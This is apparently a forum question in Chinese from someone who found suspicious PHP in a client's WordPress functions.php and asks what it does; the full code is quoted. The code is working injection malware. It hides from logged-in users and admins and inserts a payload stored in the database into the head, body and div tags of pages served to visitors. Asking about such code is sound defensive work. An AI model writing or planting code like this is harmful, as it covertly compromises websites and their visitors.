我在客户端functions.php
文件中发现了一些恶意代码。这是在做什么,我不知道。我对 PHP 没问题,但肯定不是专家。有任何想法吗?
if (!function_exists("b_call")) {
function b_call() {
if (!ob_get_level()) ob_start("b_goes");
}
function b_goes($p) {
if (!defined('wp_m1')) {
if (isset($_COOKIE['wordpress_test_cookie'])
|| isset($_COOKIE['wp-settings-1'])
|| isset($_COOKIE['wp-settings-time-1'])
|| (function_exists('is_user_logged_in') && is_user_logged_in())
|| (!$m = get_option('_content1'))
) {
return $p;
}
list($m, $n) = @unserialize(trim(strrev($m)));
define('wp_m1', $m);
define('wp_n1', $n);
}
if (!stripos($p, wp_n1)) $p = preg_replace("~<body[^>]*>~i", "$0\n".wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace("~</head>~", wp_m1."\n</head>", $p, 1);
if (!stripos($p, wp_n1)) $p = preg_replace("~</div>~", "</div>\n".wp_n1, $p, 1);
if (!stripos($p, wp_m1)) $p = preg_replace("~</div>~", wp_m1."\n</div>", $p, 1);
return $p;
}
function b_end() {
@ob_end_flush();
}
if (ob_get_level()) ob_end_clean();
add_action("init", "b_call");
add_action("wp_head", "b_call");
add_action("get_sidebar", "b_call");
add_action("wp_footer", "b_call");
add_action("shutdown", "b_end");
}